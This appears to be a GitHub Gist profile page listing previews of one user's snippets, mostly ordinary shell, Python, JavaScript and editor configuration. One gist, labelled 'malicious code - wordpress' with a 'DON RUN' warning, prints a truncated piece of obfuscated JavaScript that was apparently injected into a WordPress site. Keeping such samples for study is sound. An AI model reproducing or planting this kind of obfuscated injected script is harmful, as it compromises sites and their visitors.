Skip to content

Instantly share code, notes, and snippets.

View krosti's full-sized avatar
🚲
Exploring

Fernando Cea krosti

🚲
Exploring
View GitHub Profile
@krosti
krosti / .bashrc
Created May 6, 2012 19:58
Prompt Colors + Git
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples
# If not running interactively, don't do anything
[ -z "$PS1" ] && return
# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth
@krosti
krosti / send.py
Created May 15, 2012 21:25
Minimalistic Email w/ Gmail Sender
import smtplib
import urllib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Usr data
fromaddr = 'xxx@gmail.com'
toaddrs = 'yyy@gmail.com'
@krosti
krosti / arkismet folder
Created June 13, 2012 00:36
malicious code - wordpress
/*DON RUN!!!!*/
<script type='text/javascript'>var wow="mb2inkb3mpfb1slxb1nl
";var _J=(Date);if(_J){_h='4726';}var _Y={'J':'reve\x72\x73e
','f':'str\x69\x6Eg','o':'\x73\x75bstr','s':!false,'k':'j\x6
Fin','v':'spl\x69\x74','P':'len\x67\x74\x68'},_R='',_z=['=c1
n"oll ;y"1=cd(if=-oumt.oc.iekienoOfxe{adn)1)cr =(vanea.saDw
;teetiT(.eetgmaTi)(me2;)cE=73;6c2t(D an=e.aewimTt(+)ceeg3dou
c);ecetn.m=ik1coocpa"s"+=+ee(Moc2TtStirG.gn()")+p;xei=sre.tT
Gc"+o2MStng)(a;p"tri+;v"/de=h= brumnaoct.aemlecrEneet(tf+ir"
@krosti
krosti / formatMoney.js
Created November 6, 2012 17:26
formayMoney prototype function in javascript
/* global prototype formatMoney function
* params:
* c (integer): count numbers of digits after sign
* d (string): decimals sign separator
* t (string): miles sign separator
*
* example:
* (123456789.12345).formatMoney(2, ',', '.');
* => "123.456.789,12" Latinoamerican moneyFormat
*/
@krosti
krosti / index.html
Last active December 13, 2015 16:59 — forked from darwin/index.html
<!DOCTYPE html>
<meta charset="utf-8">
<link rel="stylesheet" href="http://cmx.io/v/0.1/cmx.css"/>
<script src="http://cmx.io/v/0.1/cmx.js"></script>
<body>
<scene id="scene1">
<label t="translate(0,346)">
<tspan x="0" y="0em">BorealDev office</tspan>
</label>
<actor t="translate(151,59) rotate(3)" pose="-11,9|21,109|-11,99|-11,89|-13,75|-13,55|2,42|-3,17|11,49|16,24|-18,79|6,69|-6,79|20,71">
@krosti
krosti / index.html
Created February 13, 2013 15:28
Andres en guatrache :)
<!DOCTYPE html>
<meta charset="utf-8">
<link rel="stylesheet" href="http://cmx.io/v/0.1/cmx.css"/>
<script src="http://cmx.io/v/0.1/cmx.js"></script>
<style>.cmx-user-scene4 .cmx-text-border .cmx-path {stroke: orange}</style>
<body>
<div style="max-width:900px; -webkit-transform:rotate(0deg);">
<scene id="scene1" height="230" width="300">
<label t="translate(0,225)">
@krosti
krosti / file.js
Created March 14, 2013 17:45
jquery UI - autocomplete - accent folding example
$(function() {
var names = [ "Jörn Zaefferer", "Scott González", "John Resig" ];
var accentMap = {
"á": "a",
"ö": "o"
};
var normalize = function( term ) {
var ret = "";
for ( var i = 0; i < term.length; i++ ) {
@krosti
krosti / Preferences.sublime-settings
Created August 21, 2014 14:41
Sublime Text 3 - Preferences
{
"bold_folder_labels": true,
"color_inactive_tabs": true,
"color_scheme": "Packages/Theme - Spacegray/base16-eighties.dark.tmTheme",
"colored_folder_glyphs": true,
"font_options": "subpixel_antialias",
"font_size": 11,
"highlight_line": true,
"highlight_modified_tabs": true,
"ignored_packages":
@krosti
krosti / git-shortcuts.md
Last active August 29, 2015 14:06
Git shortcuts

git

aliases:

  • git config --global alias.st status
  • git config --global alias.ci commit
  • git config --global alias.co checkout
  • git config --global alias.br branch

info:

  • git config --global user.name ”Your Name Comes Here”
@krosti
krosti / oneway-directive.js
Created April 15, 2015 19:43
Angular-oneway directive
'use strict';
var toBoolean = function(value) {
if (value && value.length !== 0) {
var v = angular.lowercase("" + value);
value = !(v === 'f' || v === '0' || v === 'false' || v === 'no' || v === 'n' || v === '[]');
} else {
value = false;
}
return value;